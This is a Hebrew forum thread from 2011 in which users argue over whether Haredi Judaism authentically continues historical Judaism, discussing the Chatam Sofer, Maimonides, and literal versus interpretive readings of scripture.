|
|
| נשלח ב-27/11/2011 00:05 |
|
| |
| מיימוני כתב: |  | יהי אור
טול איקון ירוק למופת על תשובתך המופלאה.
אני מעתיק זאת, ושומר זאת גם אצלי. ראויים הדברים להיכנס ללכסיקון הפורום ולהיות מצוטטים בכל מקום ואתר. הם אינם חדשים לגמרי, למשל כך ודאי יפרש הגרי"ד סולוביצ'יק את חיפושי אברהם את האלוקים, ובכל זאת הניסוח שלך חדש ויפהפה.
הנני. מה אתה רוצה לשמוע ממה שהאירה לי נשמתי..? אגב, נשמתי מאירה לפעמים גם שאלות וספקות, לא תמיד רק תשובות.
|
|
תודה. ואני עוד חשבתי פעמיים אם לשלוח את זה.. [עוד ספק מאיר...]
|
|
|
|
| נשלח ב-27/11/2011 00:38 |
|
| |
THE PRESENT כתב:
"לא הייתי רוצה להיכנס לוויכוחים סמנטיים, אבל לזה אני לא קורה 'דיאלוג'. באותה מידה יכלת לכתוב שהיה דיאלוג עם האמונות הכנעניות בכך שבשני המקרים יש אל/ים ואפילו יש כמה מיתולוגיות משותפות ואיזראליטיות שמבוססות על כנעניות. גניבת פרקטיקות ושיטות לקידום מכירות מדתות מתחרות לא נחשבת בעיניי לדיאלוג. וגם לא התפתחויות שחלו במקביל. אני מתכוון לדיאלוג במובן שאתה מציג את טיעוני שני הצדדים כשם שעושים בקורס אקדמי ראוי לשמו בפילוסופיה. אם אתה חושב שדבר כזה התרחש, אנא פרט. אם אתה מסכים שדבר כזה לא התרחש, אין לי בעיה שתקרא למה שתיארת 'דיאלוג', 'הכלה' 'פלורליזם' או אפילו 'אתאיזם', אם זה עושה לך ולאמשלום נעים בגב. " אתה לא רוצה להכנס לויכוחים סמנטיים אבל כנראה שאין מנוס מזה. לא ברור מה הקשר בין הטענה שלך על כך שהגישה החרדית היא ההמשך האמיתי של היהדות לבין דיאלוג כפי שאתה מציג אותו. מה שהד"ל טוענים הוא שצריך לחיות חיים מודרניים בהתאמה להלכה האורתודוקסית (ומכאן נובע שינוי ערכי מסויים לאורך ההיסטוריה) כלומר המשך ההתפתחות היהודית, ואילו החרדים טוענים בבסיס שצריך להמשיך לשמר את היהדות של המאה ה17 כאידיאולוגיה ולא להתייחס למה שקורה בעולם, ואני לפחות לא רואה את הקשר בין כל אלו לדיאלוג כמו שאתה מציג אותו. אם X טען משהו ואני מגיב לזה, בין אם מסכים ובין אם מתנגד, זהו דיאלוג בעיני, ביחוד אם הוא מגיב לי בחזרה. במובן הזה היהדות ניהלה דיאלוג לאורך כל ההיסטוריה שאני מכיר עם דתות, אמונות, וסוגי הגויות אחרות. החרדיות טוענת שצריך להפסיק את הדיאלוג הזה והד"ל טוען שצריך להמשיך אותו. פרט לכך שדיאלוגים בין דתיים התרחשו לאורך ימיה"ב. דיאלוג מתועד אחד שאני יודע עליו הוא הדיאלוג שניהל הרמב"ן. דיאלוג אחר נמצא בספר הכוזרי. הרמב"ם בעצמו מביא את עמדות כל הצדדים לפני שהוא פוסק מה דעתו במו"נ. עוד PRESENT כתב: "טכנית - לגבי הדמיון לגישות נוצריות מסוימות בגישת ה cover to cover, כיוון שקצת נשבר לי לשמוע את הטענה הזו, למרות שהיא עושה נעים בגב לאנשים מסוימים, אני מזמין אותך לצטט הוגה יהודי לפני חדירת הפילוסופיה האריסטוטלית שטען שמשהו בספר התורה אינו כפשוטו (למעט 'לא רק'), וגם לשערך את אחוז ההולכים בשיטת הרמב"ם בקרב ההגות היהודית מזמנו ואילך. סביר לי מאוד אגב שבעוד כמה (עשרות, מאות?) שנים אנשים לא יהססו לטעון שמעולם היהדות לא התחייבה לאמיתות היסטוריות שתועדו על ידי שבט נוודים, כפי שניתן למצוא בחצי רמז בכתביו של ענק הרוח שעליו נאמר: מישעיהו (הראשון) עד ישעיהו לא קם כישעיהו (וזאת למרות שכמה נבערים שרפו את ספריו, וטענו שהוא כופר ו/או לא קוהרנטי, אבל כיום, אחרי שכבר יש מכון גבוה [מה זה גבוה? ענק!] לתורה שעוסק באובססיביות בכתביו, לא מקובל לטעון כך). " לא ברור לי מה הקשר בין פילוסופיה אריסטוטלית לבין הטענה לאלגוריות מוחלטת של התורה ולמה זה חשוב לדיון. בנוסף לא ברור לי מה זה COVER TO COVER אז קשה לי לענות. שינויים היסטורים מתרחשים. בעיני קשה לטעון כי גישה ההופכת את השימור והבדלנות לאידיאולוגיה וזו אידיאולוגיה חדשה, מודרנית, היא ההמשך האמיתי של היהדות האורגנית שהיתה חלק בלתי נפרד מסביבתה במשך כל ההיסטוריה. לגבי השפעות נוצריות - אני לא רואה חרדים הטוענים כי השמש סובבת סביב הארץ רק כי חז"ל חשבו את זה. לעומת זאת אני רואה חרדים (מסויימים כמובן) המעתיקים מאתרים נוצרים כנגד האבולוציה. אז תעשה אחד ועוד אחד. אם התכוונת לטיעון שלי שהחרדיות מבינה את התנ"ך על דרך הפשט וזו השפעה נוצרית, אז הבנה שלא על דרך הפשט אינה אלגוריה דווקא. כל פרשנות חז"ל (ובעיקר המדרשים) היא הוספה או עדכון של פשט המקרא בהתאם לשאלות הפרשניות ולבעיות של הפרשנים באותו הזמן. למשל - עין תחת עין= כסף. פשט המקרא הוא עין תחת עין ממש. אם היו רוצים לומר כסף היו אומרים זאת. עובדה שזה לא מה שכתוב. זה שהקבלה שואבת מגישות ניאו-אפלטוניסטיות וזה שיש שם השפעות גנוסטית זה ברור. כשלומדים את זה קשה שלא לראות את הדמיון.
 |
|
|
|
|
| נשלח ב-27/11/2011 06:54 |
|
| |
כדי למנוע התקף לב.
|
|
|
|
| נשלח ב-27/11/2011 07:30 |
|
| |
[פרזנט,
למרות שלארוצים כבר ענה היטב, אומר גם אני בקיצור -
היהדות מעולם לא עמדה כאי בודד בעולם. היא תמיד הושפעה והשפיעה (ואת מקצת הדוגמאות נתן כבר לארוצים).
באופן פרדוכסלי, למרות מתקפתך נגד החרדיוּת אתה מקבל כמובן מאליו את הטענה העצמית שלה שהיא "הממשיכה האמיתית של יהדות הדורות הקדומים". האם אינך מבין שכשהחת"ם סופר, קבע ש"חדש אסור מן התורה", הוא יצר עיקרון הלכתי (וחברתי ותרבותי) חדש לחלוטין? (כן, זה כשלעצמו גם הוא מעשה פרדוכסלי, ואני מוצאת בו סוג של הומור עצמי. אבל אולי זה רק בגלל שאיני מחוייבת לו בחיי הפרטיים והחברתיים...)]
|
|
|
|
| נשלח ב-27/11/2011 07:59 |
|
| |
| אמשלום כתב: |  | [האם אינך מבין שכשהחת"ם סופר, קבע ש"חדש אסור מן התורה", הוא יצר עיקרון הלכתי (וחברתי ותרבותי) חדש לחלוטין? (כן, זה כשלעצמו גם הוא מעשה פרדוכסלי, ואני מוצאת בו סוג של הומור עצמי. אבל אולי זה רק בגלל שאיני מחוייבת לו בחיי הפרטיים והחברתיים...)]
|
|
נראה לי שיש בכלל תופעה מעניינת לגבי שיטות בעלות תוצאות לא מדידות, לפיה דווקא המודרניות גורמת להתאבנות. גם רבים מתעמלי יוגה או טאי צ'י, לדוגמה, עוסקים מאד בשאלה עד כמה השיטה הספיציפית שלהם אותנטית וממשיכה נאמנה מסורת עתיקת יומין. לשיטות בעלות תוצאות מדידות, נניח כימיה, יש קריטריון אחר - האם שיטה כלשהי עובדת או לא. עבור שיטות מהסוג הראשון, דווקא התגברות היכולת הטכנית לדעת איך בדיוק עשו זאת הקודמים, מספקת קריטריון מדיד חדש (עד כמה זה דומה למה שנעשה קודם). כמובן גם שלכל שיטה יש גם שיקולים ונסיבות ייחודיים לה. מעניין האם משהו דומה היה קורה לחברה החרדית גם ללא החת"ם סופר, השואה, וכו' (באופן שקול: מדוע זו דווקא המסקנה שתפסה כ"כ חזק).
|
|
|
|
| נשלח ב-27/11/2011 08:50 |
|
| |
מאוד ייתכן שללא החת"ם סופר וההשכלה שהוא הגיב עליה התהליך שציינת לא היה קורה, ע"ע יהדות המזרח.
כדי להבין המסקנה תפסה כ"כ חזק, נשווה את התגובה שם לשיטת התקדימים הנהוגה במקומותינו.
|
|
|
|
| נשלח ב-27/11/2011 09:01 |
|
| |
| בעלבעמיו כתב: |  | מאוד ייתכן שללא החת"ם סופר וההשכלה שהוא הגיב עליה התהליך שציינת לא היה קורה, ע"ע יהדות המזרח.
כדי להבין המסקנה תפסה כ"כ חזק, נשווה את התגובה שם לשיטת התקדימים הנהוגה במקומותינו. |
|
לגבי הנקודה הראשונה, אתה צודק. אולי השאלה צריכה להיות האם זה היה קורה ביהדות אשכנז (משהו שקשה לענות עליו, ואני בודאי אינני יודע). את נקודתך השניה לא כ"כ הבנתי: זה ששיטת התקדימים נהוגה במקומותינו איננה מה שעל הפרק כאן?
|
|
|
|
| נשלח ב-27/11/2011 09:13 |
|
| |
תקדים אומר אני לא משנה את מה שקיים ובשעת סכנה אני מתבצר בו.
אם עשיתי את מה שעשו אתמול יש לי כיסוי ואצא זכאי במשפט. הטיעון הבסיסי הופך להיות מאי דמפקדת עביד ולכן החזון איש טען שהצלחה אינה הלכה (וממילא כשלון אינו קושיה).
תוקן על ידי בעלבעמיו ב- 27/11/2011 09:22:41
|
|
|
|
| נשלח ב-27/11/2011 19:43 |
|
| |
| לארוצים כתב: |  | THE PRESENT כתב:
"לא הייתי רוצה להיכנס לוויכוחים סמנטיים, אבל לזה אני לא קורה 'דיאלוג'. באותה מידה יכלת לכתוב שהיה דיאלוג עם האמונות הכנעניות בכך שבשני המקרים יש אל/ים ואפילו יש כמה מיתולוגיות משותפות ואיזראליטיות שמבוססות על כנעניות. גניבת פרקטיקות ושיטות לקידום מכירות מדתות מתחרות לא נחשבת בעיניי לדיאלוג. וגם לא התפתחויות שחלו במקביל.
אני מתכוון לדיאלוג במובן שאתה מציג את טיעוני שני הצדדים כשם שעושים בקורס אקדמי ראוי לשמו בפילוסופיה. אם אתה חושב שדבר כזה התרחש, אנא פרט. אם אתה מסכים שדבר כזה לא התרחש, אין לי בעיה שתקרא למה שתיארת 'דיאלוג', 'הכלה' 'פלורליזם' או אפילו 'אתאיזם', אם זה עושה לך ולאמשלום נעים בגב. "
אתה לא רוצה להכנס לויכוחים סמנטיים אבל כנראה שאין מנוס מזה.
לא ברור מה הקשר בין הטענה שלך על כך שהגישה החרדית היא ההמשך האמיתי של היהדות לבין דיאלוג כפי שאתה מציג אותו. אין קשר, אלו שני דיונים שונים, אל תערבב ביניהם (הוכחות מהעדר שמרנות על דיאלוג ולהפך) מה שהד"ל טוענים הוא שצריך לחיות חיים מודרניים בהתאמה להלכה האורתודוקסית (ומכאן נובע שינוי ערכי מסויים לאורך ההיסטוריה) כלומר המשך ההתפתחות היהודית, ואילו החרדים טוענים בבסיס שצריך להמשיך לשמר את היהדות של המאה ה17 כאידיאולוגיה ולא להתייחס למה שקורה בעולם, ואני לפחות לא רואה את הקשר בין כל אלו לדיאלוג כמו שאתה מציג אותו.
אם X טען משהו ואני מגיב לזה, בין אם מסכים ובין אם מתנגד, זהו דיאלוג בעיני, ביחוד אם הוא מגיב לי בחזרה. במובן הזה היהדות ניהלה דיאלוג לאורך כל ההיסטוריה שאני מכיר עם דתות, אמונות, וסוגי הגויות אחרות. החרדיות טוענת שצריך להפסיק את הדיאלוג הזה והד"ל טוען שצריך להמשיך אותו.
כפי שאמרתי, סמנטיקה.
דרך אגב, בהגדרה רחבה זו, החרדיות היא אמאמא של דיאלוג עם העולם. כל ס"מ שיורד בביגוד של הבחורה החילונית מתווסף ל(אורך, רוחב ו/או עובי) בגדיה של הבחורה החרדית. בינגו! וכבר קדמתני אמשלום בטענה אורוולית דומה (שהועלתה בעבר גם על ידי דינוזאורוס).
פרט לכך שדיאלוגים בין דתיים התרחשו לאורך ימיה"ב. דיאלוג מתועד אחד שאני יודע עליו הוא הדיאלוג שניהל הרמב"ן . (הכריחו אותו) דיאלוג אחר נמצא בספר הכוזרי . (I guess שהם היו מייצגים את טענותיהם בצורה יותר מוצלחת) הרמב"ם בעצמו מביא את עמדות כל הצדדים לפני שהוא פוסק מה דעתו במו"נ . אולי מצאת אחד, שכולם שרפו את הספר שלו מהסיבות האלו ממש. אגב, האם הוא מביא למשל בצורה הוגנת את טענות הנוצרים על משיחם? בהערת אגב: אני לא מחבב את המכות מתחת לחגורה שהרמב"ם מכניס ב'דיונים' שלו כדי לפסול דעות אחרות, בסגנון: עמדה X (נניח שלגלגלי השמיים אין נפש [כי הם ישויות פיזיקליות ותו לא, וגרוע מכך: כי הם אינם קיימים להוותם של אריסטו, הרמב"ם ואלוהיהם שעובד לסובב הגלגל בתמידות ללא הפסק]) היא שגויה כי מי שחושב כך הוא בער ובור כסיל וטיפש, והוא בער ובור כסיל וטיפש כי ככה אמרתי, מ.ש.ל. נפשו הרכה והמדוכאת של מאמין ממוצע לא יכולה לעמוד בפני התקפות כאלו. גם כאן יש מלומד שמשתמש בשיטת שכנוע זו.)
עוד PRESENT כתב:
"טכנית - לגבי הדמיון לגישות נוצריות מסוימות בגישת ה cover to cover, כיוון שקצת נשבר לי לשמוע את הטענה הזו, למרות שהיא עושה נעים בגב לאנשים מסוימים, אני מזמין אותך לצטט הוגה יהודי לפני חדירת הפילוסופיה האריסטוטלית שטען שמשהו בספר התורה אינו כפשוטו (למעט 'לא רק'), וגם לשערך את אחוז ההולכים בשיטת הרמב"ם בקרב ההגות היהודית מזמנו ואילך. סביר לי מאוד אגב שבעוד כמה (עשרות, מאות?) שנים אנשים לא יהססו לטעון שמעולם היהדות לא התחייבה לאמיתות היסטוריות שתועדו על ידי שבט נוודים, כפי שניתן למצוא בחצי רמז בכתביו של ענק הרוח שעליו נאמר: מישעיהו (הראשון) עד ישעיהו לא קם כישעיהו (וזאת למרות שכמה נבערים שרפו את ספריו, וטענו שהוא כופר ו/או לא קוהרנטי, אבל כיום, אחרי שכבר יש מכון גבוה [מה זה גבוה? ענק!] לתורה שעוסק באובססיביות בכתביו, לא מקובל לטעון כך). "
לא ברור לי מה הקשר בין פילוסופיה אריסטוטלית לבין הטענה לאלגוריות מוחלטת של התורה ולמה זה חשוב לדיון.
בנוסף לא ברור לי מה זה COVER TO COVER אז קשה לי לענות.
cover to cover היא הגישה לפיה על ערך האמת של טענות התנ"ך להיות זהה מכריכה אחת ועד לכריכה הנגדית. אם חלק מהטענות יהיו אלגוריות, חלקן סתם אגדות למפגרים בגרוש ורק חלקן מייצגות אמת היסטורית ו/או תיאולוגית, כפי שאדם מן השורה מבין היגדים (כן כן, ההבנה הילדותית והפרימיטיבית, זו שלא מעוררת תחושות של עמעום וערפול אמנותי ואורגזמטי, לפיה כשאומרים משהו מתכוונים אליו וכשישות שאינה סכיזופרנית רוצה לומר א' היא יכולה לומר א' ולא לומר ב' ולצפות שיבינו א'), איך נדע היכן לשים את הגבול בין [כל מיני קוואזי ופסאודו אמת] לבין [אמת]? האם אחרי סיפור גן עדן, אחרי סיפור המבול, אחרי סיפורי האבות או אולי אפילו אחרי ספר שמות (ההבנה האחרונה תשמוט את הבסיס תחת הדת, כמובן לאנשים פשוטים שלא זכו לרדת לעומקה של תורה משמים במשמעות של 'שמיים בתורה' והמשמעות של דברי 'הווה' [לא אני])?
האריסטוטליות הייתה חלון זמן קצר בו כמה הוגים יהודים שהאמינו בהבלי אריסטו - הידען מהעיר הגדולה שבא לכפר היהדות - יותר מבטענות היהדות המסורתיות, התחילו לחשוב בצורה יותר קרובה למה שאתה מנסה לייצג כאן (מי שהלך הכי רחוק היה כמובן הרמב"ם, אבל דבריו אלו לא ממש התקבלו בתקופתו ומנהיגי דת שונים יצאו נגדם בחריפות מה שמראה שאין זו 'היהדות מדורי דורות ומאז ומעולם').
שינויים היסטורים מתרחשים. בעיני קשה לטעון כי גישה ההופכת את השימור והבדלנות לאידיאולוגיה וזו אידיאולוגיה חדשה, מודרנית, היא ההמשך האמיתי של היהדות האורגנית שהיתה חלק בלתי נפרד מסביבתה במשך כל ההיסטוריה.
לגבי השפעות נוצריות - אני לא רואה חרדים הטוענים כי השמש סובבת סביב הארץ רק כי חז"ל חשבו את זה. לעומת זאת אני רואה חרדים (מסויימים כמובן) המעתיקים מאתרים נוצרים כנגד האבולוציה. אז תעשה אחד ועוד אחד.
אין לי מושג למה דווקא זה התקבל (אגב, לא אצל חב"ד למשל). סתם בתור אנקדוטה, האברך הכרסתן שמשמש כראש ישיבה והשתלט על בית הכנסת העממי שבו נהגתי להתארח בזמן התפילות בשנים האחרונות, טען בדרשת ליל ראש השנה שלו שהשמש סובבת סביב כדור הארץ, לקול תרועות צחוק המתפללים ולמרבה מבוכתו, כך שאינני יודע אם עובדתית אתה צודק. אבל יש מספיק שטויות שלא התקבל שהן שגויות. בכל אופן, מעולם לא 'נזכרו' שמשהו הוא אלגורי (בלי שמץ הסבר למה בדיוק הוא אלגורי) לפני שהמדע הוכיח היטב שהפירוש המילולי לא נכון. זה אגב מה שיקרה לספר שמות כאשר ימצאו מכונות שיכולות לחזור אחורה בזמן. ותמיד יוכלו להסתמך על הוגים מפורסמים ו'מקובלים' (שהרי מי זוכר מה קרה לפני 800 שנה?) כמו מרן רשכבה"ג ישעיהו לייבוביץ' זצוק"ל והניקים העצכ"חיים רבי ההשפעה החברתית בכל שכבות האורתודוקסיה 'בוגייעלון' 'ווטו1' ו'יהוסף' - לצורךהטענה שמאז ומעולם ראו את ספר שמות כאלגוריה (מלבד כמה פונדמנטליסטים זניחים כמו דינוזאורוס).
אם התכוונת לטיעון שלי שהחרדיות מבינה את התנ"ך על דרך הפשט וזו השפעה נוצרית, אז הבנה שלא על דרך הפשט אינה אלגוריה דווקא. כל פרשנות חז"ל (ובעיקר המדרשים) היא הוספה או עדכון של פשט המקרא בהתאם לשאלות הפרשניות ולבעיות של הפרשנים באותו הזמן. למשל - עין תחת עין= כסף. פשט המקרא הוא עין תחת עין ממש. אם היו רוצים לומר כסף היו אומרים זאת. עובדה שזה לא מה שכתוב.
וואלה... הם טענו שזה בידם קבלה למשה מסיני (=אלוהים לחש למשה באוזן שמה שכתוב כאן נכתב רק בשביל שהדילוגי אותיות יעבדו טוב, אבל בפועל יש לנהוג אחרת, ואם רוצים - אפשר למצוא דרך סכיזופרנית 'לדחוף' את המידע במילים ההפוכות), יפה שאתה (ואפולוגטיקנים חדשים אחרים שנוכחו במופרכותה של טענה זו) יודע(ים) יותר מהם (או לפחות מהדרך בה עבדו על המאמינים). ברור שהיו בתחילת הדת אנשים שחידשו משלהם - הרי בלי זה לא הייתה נוצרת הדת (למשל לא היו הכהנים כותבים את התורה)... אני מדבר על אחרי שהיא התמסדה ואנשים האמינו שהיא 'דברי אלוהים חיים' במובן מסוים.
זה שהקבלה שואבת מגישות ניאו-אפלטוניסטיות וזה שיש שם השפעות גנוסטית זה ברור. כשלומדים את זה קשה שלא לראות את הדמיון.
who cares?
|
|
יש אתר מצוין (לדעתי) - 1vsdat.org - שמטפל בנושאים האלה, מי שרוצה מוזמן לעבור על החומר שם.
תוקן על ידי thepresent ב- 27/11/2011 20:19:40
|
|
|
|
| נשלח ב-27/11/2011 20:21 |
|
| |
בעל בעמיו
מה עניין התקף הלב?
|
|
|
|
| נשלח ב-27/11/2011 21:30 |
|
| |
THE PRESENT כתב: כפי שאמרתי, סמנטיקה. דרך אגב, בהגדרה רחבה זו, החרדיות היא אמאמא של דיאלוג עם העולם. כל ס"מ שיורד בביגוד של הבחורה החילונית מתווסף ל(אורך, רוחב ו/או עובי) בגדיה של הבחורה החרדית. בינגו! וכבר קדמתני אמשלום בטענה אורוולית דומה (שהועלתה בעבר גם על ידי דינוזאורוס). נכון ולכן הטענה החרדית על כך שהם רק משמרים את מה שהיה היא לא יותר מהונאה עצמית. החרדיות אינה המשך של היהדות האותנטית מדורי דורות אלא תוצאה של התמודדות מול המודרנה, תוצאה שהיא בהכרח מודרנית ועומדת בדיאלוג (בפרשנות המרחיבה) עם המודרנה. לגבי דיאלוגים אמיתיים (בפרשנות שלך) בימיה"ב: נתתי מספר דוגמאות לדיאלוגים וטענת מס' טענות: א. הראשון לא רציני ב. השני הוכרח על ידי השלטונות ג. השלישי לא מייצג שום דבר והדיאלוג גרם לשריפת ספרים. אז מעבר לכך שטענה ג היא פשוט טעות ואף אחד לא שרף את הספרים של הרמב"ם בגלל העובדה שהוא הביא כל מיני עמדות, המסקנה היא שאין דיאלוג בימיה"ב כי היהדות לא ניהלה דיאלוג עם אף אחד אף פעם ולעזאזל העובדות. אתה גם לא עושה הבחנה בית יהדות תחת שלטון נוצרי ליהדות תחת שלטון מוסלמי עם כל המשמעות של ההבחנה הזו (למשל פתיחות לתרבות וחוכמה חיצונית). אבל עזוב, העיקר שלא היה דיאלוג. עוד PRESENT כתב: cover to cover היא הגישה לפיה על ערך האמת של טענות התנ"ך להיות זהה מכריכה אחת ועד לכריכה הנגדית. אם חלק מהטענות יהיו אלגוריות, חלקן סתם אגדות למפגרים בגרוש ורק חלקן מייצגות אמת היסטורית ו/או תיאולוגית, כפי שאדם מן השורה מבין היגדים (כן כן, ההבנה הילדותית והפרימיטיבית, זו שלא מעוררת תחושות של עמעום וערפול אמנותי ואורגזמטי, לפיה כשאומרים משהו מתכוונים אליו וכשישות שאינה סכיזופרנית רוצה לומר א' היא יכולה לומר א' ולא לומר ב' ולצפות שיבינו א'), איך נדע היכן לשים את הגבול בין [כל מיני קוואזי ופסאודו אמת] לבין [אמת]? האם אחרי סיפור גן עדן, אחרי סיפור המבול, אחרי סיפורי האבות או אולי אפילו אחרי ספר שמות (ההבנה האחרונה תשמוט את הבסיס תחת הדת, כמובן לאנשים פשוטים שלא זכו לרדת לעומקה של תורה משמים במשמעות של 'שמיים בתורה' והמשמעות של דברי 'הווה' [לא אני])? האריסטוטליות הייתה חלון זמן קצר בו כמה הוגים יהודים שהאמינו בהבלי אריסטו - הידען מהעיר הגדולה שבא לכפר היהדות - יותר מבטענות היהדות המסורתיות, התחילו לחשוב בצורה יותר קרובה למה שאתה מנסה לייצג כאן (מי שהלך הכי רחוק היה כמובן הרמב"ם, אבל דבריו אלו לא ממש התקבלו בתקופתו ומנהיגי דת שונים יצאו נגדם בחריפות מה שמראה שאין זו 'היהדות מדורי דורות ומאז ומעולם').
לא טענתי טענת COVER TO CVER על אופן הפרשנות הנכון של התנ"ך. הצבעתי על כך שהפרשנות החרדית אינה המשך של היהדות האמיתית מאז ומעולם אלא התעקשות לא מובנת על פרשנות מילולית ורק בנושאים מסויימים (שפרט ליוצאי דופן מעוררי צחוק כפי שרשמת, הם אותם נושאים בהם הנוצרים מתעסקים). ביהדות שבה כשאלוהים אומר עין תחת עין הוא מתכוון לכסף, אתה שואל כיצד יכולה ישות שאינה סכיזופרנית להגיד א' ולהתכוון שיבינו א'? הרי זו הטענה הקראית (ודומיה) מאז ומעולם כנגד העקרון עליו מבוססת הפרשנות הרבנית. אם הטענה היא על כך שתקפו את הרמב"ם אז גם כאן נכונה ההבחנה בין היהדות המוסלמית ליהדות הנוצרית. היהדות המוסלמית, או לפחות חלקים נרחבים ומאוד מקובלים בה (סתם להזכיר מספר שמות - ר' סעדיה גאון, אבן גבירול, ריה"ל) אימצה את הפילוסופיה כבר מאות שנים לפני הרמב"ם. באופן כללי כל העולם האמין בהבלי האריסטוטליות (לא ברור מה כל כך הבלי באריסטוטליות) במשך כמה מאות שנים טובות. אם המדד ליהדות מדורי דורות הוא שלא יתקפו אותך אז אין יהדות מדורי דורות. בקומראן תקפו את מה שקורה במקדש, הצדוקים תקפו את הפרושים ולהפך, הקראים תקפו את הרבניים על כך שהם משנים את התורה, רבנים תקפו זה את זה כל פעם שמישהו אמר משהו שחורג מגבולות מסויימים וכן הלאה. אפילו את מפרסמי הקבלה תקפו כי הם ממעיטים בשם אלוהים בגלל הפרסום. שים לב שכולם תפסו את עצמם כיהודים. ההבדל הוא לא המצב ההיסטורי - X עשה משהו וY תקף אותו, אלא השיפוט הערכי שלך - היות ואתה מקבל את חז"ל אז ההתקפה של הקראים לא נחשבת בעיניך (כי הם לא היהדות מדורי דורות), ההתקפות של הצדוקים אינן נספרות, וכן הלאה. אבל המציאות ההיסטורית היא שונה - כל המתקיפים וכל המותקפים האמינו שהם יהודים ושהיהדות שלהם היא היהדות האמיתית. במובן הזה זה בדיוק אותו מצב כמו הרפורמים, הקונ' והאורתודוקסים היום. היו כל מיני זרמים וכל זרם טען לבעלות על היהדות האמיתית.
מהמשפט הזה: האריסטוטליות הייתה חלון זמן קצר בו כמה הוגים יהודים שהאמינו בהבלי אריסטו - הידען מהעיר הגדולה שבא לכפר היהדות - יותר מבטענות היהדות המסורתיות, התחילו לחשוב בצורה יותר קרובה למה שאתה מנסה לייצג כאן לא הבנתי איזו עמדה אתה מייחס לי. אני טענתי טענה פשוטה - היהדות עמדה בדיאלוג עם העולם מאז ומעולם. נקודה. לא יודע מה אתה מעמיס על העמדה הזו בנוגע לפרשנות, זו טענה היסטורית פשוטה. הטענה שאי אפשר להוציא דברים מפשטם לא עומדת במבחן הביקורת בהתחשב בעובדה שהחרדיות בעצמה מבוססת על הוצאה מהפשט (חדש אסור מהתורה!), ובהתחשב בעודה שבפרשנות היהודית הוציאו דברים מפשטם כל הזמן.
ולא התייחסת כלל לטענה המרכזית שלי לגבי היחס של החרדים לד"ל: שינויים היסטורים מתרחשים. בעיני קשה לטעון כי גישה ההופכת את השימור והבדלנות לאידיאולוגיה וזו אידיאולוגיה חדשה, מודרנית, היא ההמשך האמיתי של היהדות האורגנית שהיתה חלק בלתי נפרד מסביבתה במשך כל ההיסטוריה. מעולם לא 'נזכרו' שמשהו הוא אלגורי (בלי שמץ הסבר למה בדיוק הוא אלגורי) לפני שהמדע הוכיח היטב שהפירוש המילולי לא נכון. אתה החלטת שלהוציא מהפשט זה רק אלגוריה, אני חולק עליך מכל וכל. גם לטעון עין תחת עין זה כסף זה להוציא מהפשט. גם להחליט שלא תבשל גדי בחלב אמו זה להפריד בין בשר וחלב זה להוציא מהפשט, גם להעמיד עוד סייגים לחוק התנכ"י (בן סורר ומורה) זה להוציא מהפשט וכן הלאה.לעומת זאת כבר בבראשית רבה, בלי שום קשר למדע, אפשר למצוא עמדה האומרת שלאלוהים אין גוף כך שאין שום ספק כי הקביעה שלך, הטוענת כי הוצאה מן הפשט קשורה למדע, לא נכונה. וואלה... הם טענו שזה בידם קבלה למשה מסיני (=אלוהים לחש למשה באוזן שמה שכתוב כאן נכתב רק בשביל שהדילוגי אותיות יעבדו טוב, אבל בפועל יש לנהוג אחרת, ואם רוצים - אפשר למצוא דרך סכיזופרנית 'לדחוף' את המידע במילים ההפוכות), יפה שאתה (ואפולוגטיקנים חדשים אחרים שנוכחו במופרכותה של טענה זו) יודע(ים) יותר מהם (או לפחות מהדרך בה עבדו על המאמינים). ברור שהיו בתחילת הדת אנשים שחידשו משלהם - הרי בלי זה לא הייתה נוצרת הדת (למשל לא היו הכהנים כותבים את התורה)... אני מדבר על אחרי שהיא התמסדה ואנשים האמינו שהיא 'דברי אלוהים חיים' במובן מסוים. שלא כמוך אני חושב שחז"ל לא עבדו על המאמינים אלא האמינו בכל ליבם במה שהם עושים. הם האמינו שדבריהם הם דברי אלוהים חיים ויש להם סמכות ועוד יותר מכך, חובה, לפרש מחדש את הטקסט האלוהי. בכל מקרה לא ברור לי איך מה שאתה כותב זו תשובה למה שאני טוען. הטענה שלי היא שהיות וביהדות היתה מאז ומעולם (או לפחות מאז חז"ל) תפיסה שמאפשרת להוציא דברים מפשטם, ההתעקשות לקרוא את הדברים כפשטם אינה המשך ישיר של היהדות האותנטית.זה שהקבלה שואבת מגישות ניאו-אפלטוניסטיות וזה שיש שם השפעות גנוסטית זה ברור. כשלומדים את זה קשה שלא לראות את הדמיון. who cares? אני וכל מי שמעניינת אותו היהדות האותנטית, השאלה מה נחשב יהודי ומה לא, ומה הן דרכיה של היהדות.
 |
|
|
|
|
| נשלח ב-27/11/2011 21:47 |
|
| |
נראה שלא הבנת את טענתי אודות חז"ל.
הטענה שלי היא שהם טענו שכל דבריהם באו למשה מסיני (וגם הכרעות מחוסר ברירה במקרה שהידע האוראלי הסיניי אבד ונוצרה מחלוקת), וזוהי שמרנות בדומה לזו של הצדוקים אלא שמושא השמרנות אינו הטקסט הכתוב אלא המסורת האוראלית (וגם הטקסט הכתוב במקרה שאין מסורת אוראלית מנוגדת, או בהגדרה שקולה: במקרה שהמסורת האוראלית אומרת לנהוג לפי משמעות הטקסט הכתוב).
איך רואים את דבריהם בימינו? רפורמות, דיאלוגים, עניינים? זה עניין אחר.
זו הטענה שבעזרתה הם קידמו את דעותיהם. אולי הם באמת לא האמינו בה? אולי. במקרה זה, אפשר לומר שהם חלק מאוחר במיסוד הדת, שנעשית תמיד בידי אדם שמחדש מעצמו וטוען שזהו דבר אלוהים (אני סבור שכך זה גם ביהדות, אבל תסכים איתי שכך זה לפחות לכל הדתות מלבד היהדות). מרגע המיסוד פוחתות האפשרויות לשינוי. אגב, אני מאוד אוהב את טענותיכם על הפונדמנטליזם הקתולי, אך במבחן התוצאה הם אלו שהצליחו להחזיק לאורך 2000 שנה מוסד המוסכם על כל התפוצות הקתוליות שיכול לחדש בעיקרי הדת ובפרקטיקותיה ולקביעותיו תוקף מחייב לחלוטין. ביהדות זה מתמצה בחלון זמן קטן שבו התאפשרה הגות פרשנית חדשנית על משמעות מילותיהם של חלק מכתבי הקודש, ללא נגיעה בפרקטיקות הדתיות המסורתיות מכל מיני סיבות אד הוקיות.
הטענה שהתקפדות היא דיאלוג, הופכת את עניין הדיאלוג לטענה חסרת תוכן. אין דבר בעולם שלא ייחשב לדיאלוג.
לגבי הטענה מבראשית רבה שלאלוהים אין גוף - אשמח לקבל מראה מקום מדויק.
עד כה נתקלתי בספרות התנאית/תלמודית רק בטענות הופכיות (האתר שלינקקתי לעיל מסכם אותן יפה).
